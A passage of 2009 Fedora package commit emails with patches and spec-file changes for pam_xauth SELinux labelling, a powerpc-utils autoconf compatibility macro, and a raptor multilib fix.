+		security_context_t context = NULL;
+#endif
 		/* Check that we got a cookie.  If not, we get creative. */
 		if (((cookie == NULL) || (strlen(cookie) == 0)) &&
 		    ((strncmp(display, "localhost:", 10) == 0) ||
@@ -545,12 +555,41 @@ pam_sm_open_session (pam_handle_t *pamh,
 		/* Generate a new file to hold the data. */
 		euid = geteuid();
 		setfsuid(tpwd->pw_uid);
-		fd = mkstemp(xauthority + strlen(XAUTHENV) + 1);
+		
+#ifdef WITH_SELINUX
+		if (is_selinux_enabled() > 0) {
+			struct selabel_handle *ctx = selabel_open(SELABEL_CTX_FILE, NULL, 0);
+			if (ctx != NULL) {
+				if (selabel_lookup(ctx, &context,
+						   xauthority + sizeof(XAUTHENV), S_IFREG) != 0) {
+					pam_syslog(pamh, LOG_WARNING,
+						   "could not get SELinux label for '%s'",
+						   xauthority + sizeof(XAUTHENV));
+				}
+				selabel_close(ctx);
+				if (setfscreatecon(context)) {
+					pam_syslog(pamh, LOG_WARNING,
+						   "setfscreatecon(%s) failed: %m", context);
+				}
+			}
+		}
+		fd = mkstemp(xauthority + sizeof(XAUTHENV));
+		save_errno = errno;
+		if (context != NULL) {
+			free(context);
+			setfscreatecon(NULL);
+		}
+#else
+		fd = mkstemp(xauthority + sizeof(XAUTHENV));
+		save_errno = errno;
+#endif
+
 		setfsuid(euid);
 		if (fd == -1) {
+			errno = save_errno;
 			pam_syslog(pamh, LOG_ERR,
 				   "error creating temporary file `%s': %m",
-				   xauthority + strlen(XAUTHENV) + 1);
+				   xauthority + sizeof(XAUTHENV));
 			retval = PAM_SESSION_ERR;
 			goto cleanup;
 		}
@@ -563,7 +602,7 @@ pam_sm_open_session (pam_handle_t *pamh,
 		/* Get a copy of the filename to save as a data item for
 		 * removal at session-close time. */
 		free(cookiefile);
-		cookiefile = strdup(xauthority + strlen(XAUTHENV) + 1);
+		cookiefile = strdup(xauthority + sizeof(XAUTHENV));
 
 		/* Save the filename. */
 		if (pam_set_data(pamh, DATANAME, cookiefile, cleanup) != PAM_SUCCESS) {


Index: pam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pam/F-12/pam.spec,v
retrieving revision 1.204
retrieving revision 1.205
diff -u -p -r1.204 -r1.205
--- pam.spec	1 Sep 2009 16:03:13 -0000	1.204
+++ pam.spec	29 Oct 2009 15:54:52 -0000	1.205
@@ -3,7 +3,7 @@
 Summary: An extensible library which provides authentication for applications
 Name: pam
 Version: 1.1.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 # The library is BSD licensed with option to relicense as GPLv2+ - this option is redundant
 # as the BSD license allows that anyway. pam_timestamp and pam_console modules are GPLv2+,
 License: BSD and GPLv2+
@@ -26,6 +26,7 @@ Patch2:  pam-1.0.91-std-noclose.patch
 Patch3:  pam-1.1.0-cracklib-authtok.patch
 Patch4:  pam-1.1.0-console-nochmod.patch
 Patch5:  pam-1.1.0-notally.patch
+Patch6:  pam-1.1.0-xauth-context.patch
 
 %define _sbindir /sbin
 %define _moduledir /%{_lib}/security
@@ -91,6 +92,7 @@ mv pam-redhat-%{pam_redhat_version}/* mo
 %patch3 -p1 -b .authtok
 %patch4 -p1 -b .nochmod
 %patch5 -p1 -b .notally
+%patch6 -p1 -b .xauth-context
 
 libtoolize -f
 autoreconf
@@ -323,6 +325,9 @@ fi
 %doc doc/adg/*.txt doc/adg/html
 
 %changelog
+* Thu Oct 29 2009 Tomas Mraz <tmraz at redhat.com> 1.1.0-6
+- pam_xauth: set the approprate context when creating .xauth files (#531530)
+
 * Tue Sep  1 2009 Tomas Mraz <tmraz at redhat.com> 1.1.0-5
 - do not change permissions with pam_console_apply
 - drop obsolete pam_tally module and the faillog file (#461258)



From kasal at fedoraproject.org  Thu Oct 29 16:23:51 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 16:23:51 +0000 (UTC)
Subject: rpms/powerpc-utils/F-12 powerpc-utils-autoconf.patch, NONE,
	1.1 .cvsignore, 1.6, 1.7 powerpc-utils.spec, 1.9, 1.10 sources,
	1.6, 1.7
Message-ID: <20091029162351.C8A5811C008B@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/powerpc-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19465

Modified Files:
	.cvsignore powerpc-utils.spec sources 
Added Files:
	powerpc-utils-autoconf.patch 
Log Message:
- new upstream version
- amsvis removed, this package has no longer anything with python
- change the manual pages in the file list so that it does not depend on
  particular compression used
- add patch for configure.ac on platforms with autoconf < 2.63
- use standard %configure/make in %build

powerpc-utils-autoconf.patch:
 ac_type_uint.m4 |  119 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 configure.ac    |    5 +-
 2 files changed, 122 insertions(+), 2 deletions(-)

--- NEW FILE powerpc-utils-autoconf.patch ---
2009-10-29  Stepan Kasal  <skasal at redhat.com>

Make build with autoconf 2.59.

diff -urN powerpc-utils-1.2.2.orig/configure.ac powerpc-utils-1.2.2/configure.ac
--- powerpc-utils-1.2.2.orig/configure.ac	2009-10-22 21:00:13.000000000 +0200
+++ powerpc-utils-1.2.2/configure.ac	2009-10-29 15:41:58.000000000 +0100
@@ -1,8 +1,9 @@
 #                                               -*- Autoconf -*-
 # Process this file with autoconf to produce a configure script.
 
-AC_PREREQ([2.63])
-AC_INIT([powerpc-utils], [1.2.0], [nfont at austin.ibm.com])
+AC_PREREQ([2.59])
+m4_include([ac_type_uint.m4])
+AC_INIT([powerpc-utils], [1.2.2], [nfont at austin.ibm.com])
 AM_INIT_AUTOMAKE
 AC_CONFIG_SRCDIR([src/rtas_ibm_get_vpd.c])
 
diff -urN powerpc-utils-1.2.2.orig/ac_type_uint.m4 powerpc-utils-1.2.2/ac_type_uint.m4
--- powerpc-utils-1.2.2.orig/ac_type_uint.m4	1970-01-01 01:00:00.000000000 +0100
+++ powerpc-utils-1.2.2/ac_type_uint.m4	2009-10-29 16:04:41.000000000 +0100
@@ -0,0 +1,119 @@
+AC_DEFUN([AC_TYPE_INT8_T], [_AC_TYPE_INT(8)])
+AC_DEFUN([AC_TYPE_INT16_T], [_AC_TYPE_INT(16)])
+AC_DEFUN([AC_TYPE_INT32_T], [_AC_TYPE_INT(32)])
+AC_DEFUN([AC_TYPE_INT64_T], [_AC_TYPE_INT(64)])
+AC_DEFUN([AC_TYPE_UINT8_T], [_AC_TYPE_UNSIGNED_INT(8)])
+AC_DEFUN([AC_TYPE_UINT16_T], [_AC_TYPE_UNSIGNED_INT(16)])
+AC_DEFUN([AC_TYPE_UINT32_T], [_AC_TYPE_UNSIGNED_INT(32)])
+AC_DEFUN([AC_TYPE_UINT64_T], [_AC_TYPE_UNSIGNED_INT(64)])
+
+# _AC_TYPE_INT(NBITS)
+# -------------------
+AC_DEFUN([_AC_TYPE_INT],
+[
+  AC_CACHE_CHECK([for int$1_t], [ac_cv_c_int$1_t],
+    [ac_cv_c_int$1_t=no
+     for ac_type in 'int$1_t' 'int' 'long int' \
+	 'long long int' 'short int' 'signed char'; do
+       AC_COMPILE_IFELSE(
+	 [AC_LANG_BOOL_COMPILE_TRY(
+	    [AC_INCLUDES_DEFAULT],
+	    [[0 < ($ac_type) (((($ac_type) 1 << ($1 - 2)) - 1) * 2 + 1)]])],
+	 [AC_COMPILE_IFELSE(
+	    [AC_LANG_BOOL_COMPILE_TRY(
+	       [AC_INCLUDES_DEFAULT],
+	       [[($ac_type) (((($ac_type) 1 << ($1 - 2)) - 1) * 2 + 1)
+		 < ($ac_type) (((($ac_type) 1 << ($1 - 2)) - 1) * 2 + 2)]])],
+	    [],
+	    [AS_CASE([$ac_type], [int$1_t],
+	       [ac_cv_c_int$1_t=yes],
+	       [ac_cv_c_int$1_t=$ac_type])])])
+       test "$ac_cv_c_int$1_t" != no && break
+     done])
+  case $ac_cv_c_int$1_t in #(
+  no|yes) ;; #(
+  *)
+    AC_DEFINE_UNQUOTED([int$1_t], [$ac_cv_c_int$1_t],
+      [Define to the type of a signed integer type of width exactly $1 bits
+       if such a type exists and the standard includes do not define it.]);;
+  esac
+])# _AC_TYPE_INT
+
+# _AC_TYPE_UNSIGNED_INT(NBITS)
+# ----------------------------
+AC_DEFUN([_AC_TYPE_UNSIGNED_INT],
+[
+  AC_CACHE_CHECK([for uint$1_t], [ac_cv_c_uint$1_t],
+    [ac_cv_c_uint$1_t=no
+     for ac_type in 'uint$1_t' 'unsigned int' 'unsigned long int' \
+	 'unsigned long long int' 'unsigned short int' 'unsigned char'; do
+       AC_COMPILE_IFELSE(
+	 [AC_LANG_BOOL_COMPILE_TRY(
+	    [AC_INCLUDES_DEFAULT],
+	    [[($ac_type) -1 >> ($1 - 1) == 1]])],
+	 [AS_CASE([$ac_type], [uint$1_t],
+	    [ac_cv_c_uint$1_t=yes],
+	    [ac_cv_c_uint$1_t=$ac_type])])
+       test "$ac_cv_c_uint$1_t" != no && break
+     done])
+  case $ac_cv_c_uint$1_t in #(
+  no|yes) ;; #(
+  *)
+    m4_bmatch([$1], [^\(8\|32\|64\)$],
+      [AC_DEFINE([_UINT$1_T], 1,
+	 [Define for Solaris 2.5.1 so the uint$1_t typedef from
+	  <sys/synch.h>, <pthread.h>, or <semaphore.h> is not used.
+	  If the typedef were allowed, the #define below would cause a
+	  syntax error.])])
+    AC_DEFINE_UNQUOTED([uint$1_t], [$ac_cv_c_uint$1_t],
+      [Define to the type of an unsigned integer type of width exactly $1 bits
+       if such a type exists and the standard includes do not define it.]);;
+  esac
+])# _AC_TYPE_UNSIGNED_INT
+
+
+# AS_CASE(WORD, [PATTERN1], [IF-MATCHED1]...[DEFAULT])
+# ----------------------------------------------------
+# Expand into
+# | case WORD in
+# | PATTERN1) IF-MATCHED1 ;;
+# | ...
+# | *) DEFAULT ;;
+# | esac
+m4_define([_AS_CASE],
+[  $1[)] m4_default([$2], [:]) ;;
+])
+m4_define([_AS_CASE_DEFAULT],
+[  *[)] $1 ;;
+])
+m4_defun([AS_CASE],
+[m4_ifval([$2$3],
+[case $1 in
+m4_transform_pair([_$0], [_$0_DEFAULT], m4_shift($@))dnl
+esac
+])dnl
+])# AS_CASE
+
+
+# m4_transform_pair(EXPRESSION, [END-EXPR = EXPRESSION], ARG...)
+# --------------------------------------------------------------
+# Perform a pairwise grouping of consecutive ARGs, by expanding
+# EXPRESSION([ARG1], [ARG2]).  If there are an odd number of ARGs, the
+# final argument is expanded with END-EXPR([ARGn]).
+#
+# For example:
+#   m4_define([show], [($*)m4_newline])dnl
+#   m4_transform_pair([show], [], [a], [b], [c], [d], [e])dnl
+#   => (a,b)
+#   => (c,d)
+#   => (e)
+#
+# Please keep foreach.m4 in sync with any adjustments made here.
+m4_define([m4_transform_pair],
+[m4_if([$#], [0], [m4_fatal([$0: too few arguments: $#])],
+       [$#], [1], [m4_fatal([$0: too few arguments: $#: $1])],
+       [$#], [2], [],
+       [$#], [3], [m4_default([$2], [$1])([$3])[]],
+       [$#], [4], [$1([$3], [$4])[]],
+       [$1([$3], [$4])[]$0([$1], [$2], m4_shift(m4_shift3($@)))])])
+


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/powerpc-utils/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	25 Aug 2009 15:11:04 -0000	1.6
+++ .cvsignore	29 Oct 2009 16:23:48 -0000	1.7
@@ -1 +1 @@
-powerpc-utils-1.2.0.tar.gz
+powerpc-utils-1.2.2.tar.gz


Index: powerpc-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/powerpc-utils/F-12/powerpc-utils.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- powerpc-utils.spec	25 Aug 2009 15:11:04 -0000	1.9
+++ powerpc-utils.spec	29 Oct 2009 16:23:48 -0000	1.10
@@ -1,23 +1,24 @@
-%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")}
-%{!?python_version: %global python_version %(%{__python} -c "from distutils.sysconfig import get_python_version; print get_python_version()")}
 Name:           powerpc-utils
-Version:        1.2.0
+Version:        1.2.2
 Release:        1%{?dist}
 Summary:        Utilities for PowerPC platforms
 
 Group:          System Environment/Base
 License:        CPL
-URL:            http://powerpc-utils.ozlabs.org/
-Source0:        http://powerpc-utils.ozlabs.org/releases/powerpc-utils-%{version}.tar.gz
+URL:            http://sourceforge.net/projects/%{name}/
+#Source0:        http://downloads.sourceforge.net/projects/%{name}/%{name}-%{version}.tar.gz
+Source0:        http://prdownloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 Source1:        nvsetenv
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  doxygen automake python python-devel librtas-devel libservicelog-devel >= 1.0.1-2
+BuildRequires:  doxygen automake librtas-devel libservicelog-devel >= 1.0.1-2
 
 # should be fixed - libservicelog is not right name
 Requires:       libservicelog 
 ExclusiveArch:  ppc ppc64
 
 Patch1:         powerpc-utils-1.2.0-chkconfig.patch
+# This hack is needed only for platforms with autoconf < 2.63
+Patch2:		powerpc-utils-autoconf.patch
 
 # This is done before release of F12
 Obsoletes:      powerpc-utils-papr < 1.1.6-3
@@ -27,13 +28,18 @@ Provides:       powerpc-utils-papr = 1.1
 Utilities for PowerPC platforms.
 
 %prep
-%setup -q -n %{name}
+%setup -q
 %patch1 -p1 -b .chkconfig
 
+# This hack is needed only for platforms with autoconf < 2.63
+%if 0%{?fedora} < 9 && 0%{?rhel} < 6
+%patch2 -p1 -b .aconf
+%endif
+
 %build
 ./bootstrap.sh
-./configure --prefix=/usr
-make CFLAGS="$RPM_OPT_FLAGS" %{?_smp_mflags}
+%configure
+make %{?_smp_mflags}
 
 
 %install
@@ -64,11 +70,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_sbindir}/bootlist
 %{_sbindir}/ofpathname
 %{_sbindir}/ppc64_cpu
+%{_sbindir}/lsdevinfo
 %{_sbindir}/lsprop
-%{_mandir}/man8/nvram.8.gz
-%{_mandir}/man8/snap.8.gz
-%{_mandir}/man8/bootlist.8.gz
-%{_mandir}/man8/ofpathname.8.gz
+%{_mandir}/man8/nvram.8*
+%{_mandir}/man8/snap.8*
+%{_mandir}/man8/bootlist.8*
+%{_mandir}/man8/ofpathname.8*
 
 %{_sysconfdir}/rc.d/init.d/ibmvscsisd
 
@@ -87,33 +94,25 @@ rm -rf $RPM_BUILD_ROOT
 %{_sbindir}/sys_ident
 %{_sbindir}/drmgr
 %{_sbindir}/lsslot
-%{_bindir}/amsvis
 %{_bindir}/amsstat
-%{_mandir}/man8/update_flash.8.gz
-%{_mandir}/man8/activate_firmware.8.gz
-%{_mandir}/man8/usysident.8.gz
-%{_mandir}/man8/usysattn.8.gz
-%{_mandir}/man8/set_poweron_time.8.gz
-%{_mandir}/man8/rtas_ibm_get_vpd.8.gz
-%{_mandir}/man8/serv_config.8.gz
-%{_mandir}/man8/uesensor.8.gz
-%{_mandir}/man8/hvcsadmin.8.gz
-%{_mandir}/man8/vscsisadmin.8.gz
-%{_mandir}/man8/ibmvscsis.sh.8.gz
-%{_mandir}/man8/ibmvscsis.conf.8.gz
-%{_mandir}/man8/rtas_dump.8.gz
-%{_mandir}/man8/sys_ident.8.gz
-%{_mandir}/man1/amsvis.1.gz
-%{_mandir}/man1/amsstat.1.gz
+%{_mandir}/man8/update_flash.8*
+%{_mandir}/man8/activate_firmware.8*
+%{_mandir}/man8/usysident.8*
+%{_mandir}/man8/usysattn.8*
+%{_mandir}/man8/set_poweron_time.8*
+%{_mandir}/man8/rtas_ibm_get_vpd.8*
+%{_mandir}/man8/serv_config.8*
+%{_mandir}/man8/uesensor.8*
+%{_mandir}/man8/hvcsadmin.8*
+%{_mandir}/man8/vscsisadmin.8*
+%{_mandir}/man8/ibmvscsis.sh.8*
+%{_mandir}/man8/ibmvscsis.conf.8*
+%{_mandir}/man8/rtas_dump.8*
+%{_mandir}/man8/sys_ident.8*
+%{_mandir}/man1/amsvis.1*
+%{_mandir}/man1/amsstat.1*
 %doc README COPYRIGHT Changelog
 
-# pythonies
-%{python_sitelib}/powerpcAMS-%{version}-py%{python_version}.egg-info
-%{python_sitelib}/powerpcAMS/__init__.py*
-%{python_sitelib}/powerpcAMS/amsdata.py*
-%{python_sitelib}/powerpcAMS/amsnet.py*
-%{python_sitelib}/powerpcAMS/amswidget.py*
-
 %post
 /sbin/chkconfig --add ibmvscsisd
 
@@ -124,6 +123,14 @@ if [ $1 = 0 ] ; then
 fi
 
 %changelog
+* Thu Oct 29 2009 Stepan Kasal <skasal at redhat.com> - 1.2.2-1
+- new upstream version
+- amsvis removed, this package has no longer anything with python
+- change the manual pages in the file list so that it does not depend on
+  particular compression used
+- add patch for configure.ac on platforms with autoconf < 2.63
+- use standard %%configure/make in %%build
+
 * Mon Aug 17 2009 Roman Rakus <rrakus at redhat.com> - 1.2.0-1
 - Bump tu version 1.2.0 - powerpc-utils and powerpc-utils-papr get merged
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/powerpc-utils/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	25 Aug 2009 15:11:04 -0000	1.6
+++ sources	29 Oct 2009 16:23:48 -0000	1.7
@@ -1 +1 @@
-6a79a185421aa6f88d163124073ffae0  powerpc-utils-1.2.0.tar.gz
+07a057c920c9e2ee03d7b8ef16e3bf1d  powerpc-utils-1.2.2.tar.gz



From oget at fedoraproject.org  Thu Oct 29 16:30:46 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Thu, 29 Oct 2009 16:30:46 +0000 (UTC)
Subject: rpms/raptor/F-11 raptor-config-multilib.patch, NONE, 1.1 raptor.spec,
	1.15, 1.16
Message-ID: <20091029163046.7CDA811C008B@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/raptor/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22845

Modified Files:
	raptor.spec 
Added Files:
	raptor-config-multilib.patch 
Log Message:
* Thu Oct 29 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.4.18-5
- Fix multilib conflict (RHBZ#477342)


raptor-config-multilib.patch:
 raptor-config.in |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE raptor-config-multilib.patch ---
diff -rupN raptor-1.4.18.old/src/raptor-config.in raptor-1.4.18/src/raptor-config.in
--- raptor-1.4.18.old/src/raptor-config.in	2007-01-05 23:02:00.000000000 -0500
+++ raptor-1.4.18/src/raptor-config.in	2009-10-29 01:47:57.000000000 -0400
@@ -130,11 +130,11 @@ if test "$echo_options" = "yes"; then
   done
 fi
 if test "$echo_libs" = "yes"; then
-  echo -L at libdir@ -lraptor
+  pkg-config --libs raptor
 fi
 if test "$echo_libtool_libs" = "yes"; then
-  echo @libdir@/@RAPTOR_LIBTOOLLIBS@
+  echo
 fi
 if test "$echo_private_libs" = "yes"; then
-  echo @LIBS@
+  pkg-config --libs --static raptor
 fi


Index: raptor.spec
===================================================================
RCS file: /cvs/pkgs/rpms/raptor/F-11/raptor.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- raptor.spec	25 Feb 2009 18:47:21 -0000	1.15
+++ raptor.spec	29 Oct 2009 16:30:45 -0000	1.16
@@ -1,10 +1,12 @@
 Summary:       Raptor RDF Parser Toolkit for Redland
 Name:          raptor
 Version:       1.4.18
-Release:       2%{?dist}
+Release:       5%{?dist}
 License:       LGPLv2+ or ASL 2.0
 Group:         System Environment/Libraries
 Source:        http://download.librdf.org/source/raptor-%{version}.tar.gz
+# Make the raptor-config file multilib friendly (RHBZ#477342)
+Patch0:        raptor-config-multilib.patch
 URL:           http://librdf.org/raptor/
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libxml2-devel libxslt-devel curl-devel
@@ -27,6 +29,12 @@ RDF/XML or N-Triples.
 
 %prep
 %setup -q
+%patch0 -p1 -b .multilib
+
+# hack to nuke rpaths
+%if "%{_libdir}" != "/usr/lib"
+sed -i -e 's|"/lib /usr/lib|"/%{_lib} %{_libdir}|' configure
+%endif
 
 %build
 %configure --disable-static
@@ -36,7 +44,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 
 make DESTDIR=$RPM_BUILD_ROOT install
-rm -f ${RPM_BUILD_ROOT}%{_libdir}/*.{a,la}
+rm -f ${RPM_BUILD_ROOT}%{_libdir}/lib*.la
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -49,23 +57,35 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-, root, root)
 %doc AUTHORS COPYING COPYING.LIB ChangeLog LICENSE-2.0.txt LICENSE.html LICENSE.txt NEWS README
 %doc %{_mandir}/man1/rapper.1*
-%{_libdir}/lib*.so.*
+%{_libdir}/libraptor.so.1*
 %{_bindir}/rapper
 
 
 %files devel
 %defattr(-, root, root)
-%doc AUTHORS COPYING COPYING.LIB ChangeLog LICENSE-2.0.txt LICENSE.html LICENSE.txt NEWS README
-%doc INSTALL.html
-%doc %{_mandir}/man1/raptor-config.1*
-%doc %{_mandir}/man3/libraptor.3*
-%doc %{_datadir}/gtk-doc/html/raptor
-%{_libdir}/lib*.so
+# include instuctions on how to build from source? omit for now, flog
+# me with a wet noodle if I'm wrong  -- Rex
+#doc INSTALL.html
+%{_mandir}/man1/raptor-config.1*
+%{_mandir}/man3/libraptor.3*
+%doc %{_datadir}/gtk-doc/html/raptor/
+%{_libdir}/libraptor.so
 %{_libdir}/pkgconfig/raptor.pc
-%{_prefix}/include/*
+%{_includedir}/raptor.h
 %{_bindir}/raptor-config
 
 %changelog
+* Thu Oct 29 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 1.4.18-5
+- Fix multilib conflict (RHBZ#477342)
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.18-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri May 01 2009 Rex Dieter <rdieter at fedoraproject.org> 1.4.18-3
+- nuke rpaths
+- touchup %%files
+- -devel: omit dup'd %%doc's included in main pkg
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.18-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From kasal at fedoraproject.org  Thu Oct 29 16:31:38 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 16:31:38 +0000 (UTC)
Subject: rpms/powerpc-utils/devel powerpc-utils-autoconf.patch, NONE,
	1.1 .cvsignore, 1.6, 1.7 powerpc-utils.spec, 1.9, 1.10 sources,
	1.6, 1.7
Message-ID: <20091029163138.2776111C008B@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/powerpc-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23261

Modified Files:
	.cvsignore powerpc-utils.spec sources 
Added Files:
	powerpc-utils-autoconf.patch 
Log Message:
- new upstream version
- amsvis removed, this package has no longer anything with python
- change the manual pages in the file list so that it does not depend on
  particular compression used
- add patch for configure.ac on platforms with autoconf < 2.63
- use standard %configure/make in %build

powerpc-utils-autoconf.patch:
 ac_type_uint.m4 |  119 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 configure.ac    |    5 +-
 2 files changed, 122 insertions(+), 2 deletions(-)

--- NEW FILE powerpc-utils-autoconf.patch ---
2009-10-29  Stepan Kasal  <skasal at redhat.com>

Make build with autoconf 2.59.

diff -urN powerpc-utils-1.2.2.orig/configure.ac powerpc-utils-1.2.2/configure.ac
--- powerpc-utils-1.2.2.orig/configure.ac	2009-10-22 21:00:13.000000000 +0200
+++ powerpc-utils-1.2.2/configure.ac	2009-10-29 15:41:58.000000000 +0100
@@ -1,8 +1,9 @@
 #                                               -*- Autoconf -*-
 # Process this file with autoconf to produce a configure script.
 
-AC_PREREQ([2.63])
-AC_INIT([powerpc-utils], [1.2.0], [nfont at austin.ibm.com])
+AC_PREREQ([2.59])
+m4_include([ac_type_uint.m4])
+AC_INIT([powerpc-utils], [1.2.2], [nfont at austin.ibm.com])
 AM_INIT_AUTOMAKE
 AC_CONFIG_SRCDIR([src/rtas_ibm_get_vpd.c])
 
diff -urN powerpc-utils-1.2.2.orig/ac_type_uint.m4 powerpc-utils-1.2.2/ac_type_uint.m4
--- powerpc-utils-1.2.2.orig/ac_type_uint.m4	1970-01-01 01:00:00.000000000 +0100
+++ powerpc-utils-1.2.2/ac_type_uint.m4	2009-10-29 16:04:41.000000000 +0100
@@ -0,0 +1,119 @@
+AC_DEFUN([AC_TYPE_INT8_T], [_AC_TYPE_INT(8)])
+AC_DEFUN([AC_TYPE_INT16_T], [_AC_TYPE_INT(16)])
+AC_DEFUN([AC_TYPE_INT32_T], [_AC_TYPE_INT(32)])
+AC_DEFUN([AC_TYPE_INT64_T], [_AC_TYPE_INT(64)])
+AC_DEFUN([AC_TYPE_UINT8_T], [_AC_TYPE_UNSIGNED_INT(8)])
+AC_DEFUN([AC_TYPE_UINT16_T], [_AC_TYPE_UNSIGNED_INT(16)])
+AC_DEFUN([AC_TYPE_UINT32_T], [_AC_TYPE_UNSIGNED_INT(32)])
+AC_DEFUN([AC_TYPE_UINT64_T], [_AC_TYPE_UNSIGNED_INT(64)])
+
+# _AC_TYPE_INT(NBITS)
+# -------------------
+AC_DEFUN([_AC_TYPE_INT],
+[
+  AC_CACHE_CHECK([for int$1_t], [ac_cv_c_int$1_t],
+    [ac_cv_c_int$1_t=no
+     for ac_type in 'int$1_t' 'int' 'long int' \
+	 'long long int' 'short int' 'signed char'; do
+       AC_COMPILE_IFELSE(
+	 [AC_LANG_BOOL_COMPILE_TRY(
+	    [AC_INCLUDES_DEFAULT],
+	    [[0 < ($ac_type) (((($ac_type) 1 << ($1 - 2)) - 1) * 2 + 1)]])],
+	 [AC_COMPILE_IFELSE(
+	    [AC_LANG_BOOL_COMPILE_TRY(
+	       [AC_INCLUDES_DEFAULT],
+	       [[($ac_type) (((($ac_type) 1 << ($1 - 2)) - 1) * 2 + 1)
+		 < ($ac_type) (((($ac_type) 1 << ($1 - 2)) - 1) * 2 + 2)]])],
+	    [],
+	    [AS_CASE([$ac_type], [int$1_t],
+	       [ac_cv_c_int$1_t=yes],
+	       [ac_cv_c_int$1_t=$ac_type])])])
+       test "$ac_cv_c_int$1_t" != no && break
+     done])
+  case $ac_cv_c_int$1_t in #(
+  no|yes) ;; #(
+  *)
+    AC_DEFINE_UNQUOTED([int$1_t], [$ac_cv_c_int$1_t],
+      [Define to the type of a signed integer type of width exactly $1 bits
+       if such a type exists and the standard includes do not define it.]);;
+  esac
+])# _AC_TYPE_INT
+
+# _AC_TYPE_UNSIGNED_INT(NBITS)
+# ----------------------------
+AC_DEFUN([_AC_TYPE_UNSIGNED_INT],
+[
+  AC_CACHE_CHECK([for uint$1_t], [ac_cv_c_uint$1_t],
+    [ac_cv_c_uint$1_t=no
+     for ac_type in 'uint$1_t' 'unsigned int' 'unsigned long int' \
+	 'unsigned long long int' 'unsigned short int' 'unsigned char'; do
+       AC_COMPILE_IFELSE(
+	 [AC_LANG_BOOL_COMPILE_TRY(
+	    [AC_INCLUDES_DEFAULT],
+	    [[($ac_type) -1 >> ($1 - 1) == 1]])],
+	 [AS_CASE([$ac_type], [uint$1_t],
+	    [ac_cv_c_uint$1_t=yes],
+	    [ac_cv_c_uint$1_t=$ac_type])])
+       test "$ac_cv_c_uint$1_t" != no && break
+     done])
+  case $ac_cv_c_uint$1_t in #(
+  no|yes) ;; #(
+  *)
+    m4_bmatch([$1], [^\(8\|32\|64\)$],
+      [AC_DEFINE([_UINT$1_T], 1,
+	 [Define for Solaris 2.5.1 so the uint$1_t typedef from
+	  <sys/synch.h>, <pthread.h>, or <semaphore.h> is not used.
+	  If the typedef were allowed, the #define below would cause a
+	  syntax error.])])
+    AC_DEFINE_UNQUOTED([uint$1_t], [$ac_cv_c_uint$1_t],
+      [Define to the type of an unsigned integer type of width exactly $1 bits
+       if such a type exists and the standard includes do not define it.]);;
+  esac
+])# _AC_TYPE_UNSIGNED_INT
+
+
+# AS_CASE(WORD, [PATTERN1], [IF-MATCHED1]...[DEFAULT])
+# ----------------------------------------------------
+# Expand into
+# | case WORD in
+# | PATTERN1) IF-MATCHED1 ;;
+# | ...
+# | *) DEFAULT ;;
+# | esac
+m4_define([_AS_CASE],
+[  $1[)] m4_default([$2], [:]) ;;
+])
+m4_define([_AS_CASE_DEFAULT],
+[  *[)] $1 ;;
+])
+m4_defun([AS_CASE],
+[m4_ifval([$2$3],
+[case $1 in
+m4_transform_pair([_$0], [_$0_DEFAULT], m4_shift($@))dnl
+esac
+])dnl
+])# AS_CASE
+
+
+# m4_transform_pair(EXPRESSION, [END-EXPR = EXPRESSION], ARG...)
+# --------------------------------------------------------------
+# Perform a pairwise grouping of consecutive ARGs, by expanding
+# EXPRESSION([ARG1], [ARG2]).  If there are an odd number of ARGs, the
+# final argument is expanded with END-EXPR([ARGn]).
+#
+# For example:
+#   m4_define([show], [($*)m4_newline])dnl
+#   m4_transform_pair([show], [], [a], [b], [c], [d], [e])dnl
+#   => (a,b)
+#   => (c,d)
+#   => (e)
+#
+# Please keep foreach.m4 in sync with any adjustments made here.
+m4_define([m4_transform_pair],
+[m4_if([$#], [0], [m4_fatal([$0: too few arguments: $#])],
